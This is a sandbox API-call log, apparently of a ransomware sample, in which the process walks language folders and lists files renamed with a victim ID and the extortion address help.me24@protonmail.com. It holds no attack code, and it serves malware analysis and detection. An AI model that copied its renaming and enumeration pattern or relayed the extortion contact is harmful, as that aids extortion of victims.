	[0159.596] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34cc47cc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.596] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34ce9659, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34ce9659, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.596] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35f01773, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.596] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35f01773, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.597] FindClose (in: hFindFile=0x76ed68 | out: hFindFile=0x76ed68) returned 1
	[0159.597] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.597] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34f2590c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0159.597] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.597] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34f2590c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eca8
	[0159.601] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34f2590c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.601] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34d5bca3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e4479a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.601] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34e4479a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e4479a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.601] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35aabe98, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35aabe98, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b44592, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.601] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35aabe98, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35aabe98, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b44592, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.601] FindClose (in: hFindFile=0x76eca8 | out: hFindFile=0x76eca8) returned 1
	[0159.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.602] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34fbe11e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0159.602] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.602] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34fbe11e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0159.605] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34fbe11e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.605] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34e8cec5, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e8cec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34eff6da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.605] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34eff6da, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34eff6da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.605] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b6a895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35b6a895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b90ae9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.605] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b6a895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35b6a895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b90ae9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.605] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0159.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.606] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3500a65c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0159.606] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.606] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3500a65c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ed28
	[0159.608] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3500a65c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.608] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34eff6da, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34eff6da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f97f48, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.608] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f71fc3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34f71fc3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.608] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35bb6d88, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35bb6d88, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35c0320c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.609] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35bb6d88, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35bb6d88, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35c0320c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.609] FindClose (in: hFindFile=0x76ed28 | out: hFindFile=0x76ed28) returned 1
	[0159.609] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.609] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0159.609] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.609] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0159.611] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.611] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f97f48, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34f97f48, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fe4436, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.612] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34fe4436, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34fe4436, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.612] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35c0320c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35c0320c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35d5a8f2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.612] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35c0320c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35c0320c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35d5a8f2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.612] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0159.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.613] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35292f5e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0159.613] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.613] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35292f5e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ebe8
	[0159.616] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35292f5e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.616] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3526cd17, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.616] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.616] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35d0e283, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d0e283, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35eb493b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.617] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35d0e283, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d0e283, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35eb493b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.617] FindClose (in: hFindFile=0x76ebe8 | out: hFindFile=0x76ebe8) returned 1
	[0159.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.617] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0159.617] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.617] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9a8
